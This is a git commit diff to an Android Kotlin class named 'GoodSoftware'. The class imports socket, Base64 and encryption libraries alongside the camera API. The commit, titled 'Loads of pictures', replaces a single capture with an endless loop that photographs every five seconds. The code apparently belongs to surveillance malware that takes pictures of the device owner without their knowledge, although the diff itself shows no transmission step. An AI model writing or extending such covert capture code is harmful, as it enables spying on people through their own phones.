Loads of pictures
This commit is contained in:
		@@ -1,16 +1,25 @@
 | 
				
			|||||||
package com.ti.m
 | 
					package com.ti.m
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import android.Manifest
 | 
				
			||||||
import android.content.Context
 | 
					import android.content.Context
 | 
				
			||||||
import android.graphics.Camera
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
 | 
					import android.util.Base64
 | 
				
			||||||
import android.util.Log
 | 
					import android.util.Log
 | 
				
			||||||
import androidx.camera.core.CameraSelector
 | 
					import androidx.camera.core.CameraSelector
 | 
				
			||||||
import androidx.camera.core.ImageAnalysis
 | 
					 | 
				
			||||||
import androidx.camera.core.ImageCapture
 | 
					import androidx.camera.core.ImageCapture
 | 
				
			||||||
import androidx.camera.core.ImageCaptureException
 | 
					import androidx.camera.core.ImageCaptureException
 | 
				
			||||||
import androidx.camera.core.ImageProxy
 | 
					import androidx.camera.core.ImageProxy
 | 
				
			||||||
import androidx.camera.core.Preview
 | 
					 | 
				
			||||||
import androidx.camera.lifecycle.ProcessCameraProvider
 | 
					import androidx.camera.lifecycle.ProcessCameraProvider
 | 
				
			||||||
 | 
					import androidx.concurrent.futures.await
 | 
				
			||||||
 | 
					import androidx.core.app.ActivityCompat
 | 
				
			||||||
 | 
					import androidx.core.content.ContextCompat
 | 
				
			||||||
 | 
					import androidx.lifecycle.LifecycleOwner
 | 
				
			||||||
 | 
					import androidx.lifecycle.lifecycleScope
 | 
				
			||||||
 | 
					import kotlinx.coroutines.Dispatchers
 | 
				
			||||||
 | 
					import kotlinx.coroutines.launch
 | 
				
			||||||
 | 
					import kotlinx.coroutines.withContext
 | 
				
			||||||
import java.io.BufferedReader
 | 
					import java.io.BufferedReader
 | 
				
			||||||
 | 
					import java.io.ByteArrayOutputStream
 | 
				
			||||||
import java.io.InputStreamReader
 | 
					import java.io.InputStreamReader
 | 
				
			||||||
import java.io.PrintWriter
 | 
					import java.io.PrintWriter
 | 
				
			||||||
import java.net.Socket
 | 
					import java.net.Socket
 | 
				
			||||||
@@ -21,23 +30,6 @@ import java.security.spec.X509EncodedKeySpec
 | 
				
			|||||||
import javax.crypto.Cipher
 | 
					import javax.crypto.Cipher
 | 
				
			||||||
import javax.crypto.spec.IvParameterSpec
 | 
					import javax.crypto.spec.IvParameterSpec
 | 
				
			||||||
import javax.crypto.spec.SecretKeySpec
 | 
					import javax.crypto.spec.SecretKeySpec
 | 
				
			||||||
import androidx.concurrent.futures.await
 | 
					 | 
				
			||||||
import androidx.core.content.ContextCompat
 | 
					 | 
				
			||||||
import androidx.lifecycle.LifecycleOwner
 | 
					 | 
				
			||||||
import android.util.Base64
 | 
					 | 
				
			||||||
import androidx.core.app.ActivityCompat
 | 
					 | 
				
			||||||
import java.io.ByteArrayOutputStream
 | 
					 | 
				
			||||||
import android.Manifest
 | 
					 | 
				
			||||||
import android.app.Activity
 | 
					 | 
				
			||||||
import android.content.pm.PackageManager
 | 
					 | 
				
			||||||
import android.os.Build
 | 
					 | 
				
			||||||
import android.telephony.TelephonyManager
 | 
					 | 
				
			||||||
import android.widget.Toast
 | 
					 | 
				
			||||||
import androidx.annotation.RequiresApi
 | 
					 | 
				
			||||||
import androidx.core.app.ComponentActivity
 | 
					 | 
				
			||||||
import androidx.core.content.ContextCompat.getSystemService
 | 
					 | 
				
			||||||
import androidx.lifecycle.lifecycleScope
 | 
					 | 
				
			||||||
import kotlinx.coroutines.launch
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class GoodSoftware (private val activity: MainActivity) {
 | 
					class GoodSoftware (private val activity: MainActivity) {
 | 
				
			||||||
@@ -246,11 +238,15 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
				
			|||||||
        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
					        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        // Take the picture
 | 
					        // Take the picture
 | 
				
			||||||
 | 
					        while (true){
 | 
				
			||||||
 | 
					            withContext(Dispatchers.IO) {
 | 
				
			||||||
                imageCapture?.takePicture(
 | 
					                imageCapture?.takePicture(
 | 
				
			||||||
                    ContextCompat.getMainExecutor(context),
 | 
					                    ContextCompat.getMainExecutor(context),
 | 
				
			||||||
                    imageCapturedListener
 | 
					                    imageCapturedListener
 | 
				
			||||||
                )
 | 
					                )
 | 
				
			||||||
        cameraProvider?.unbind()
 | 
					                Thread.sleep(5000L)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user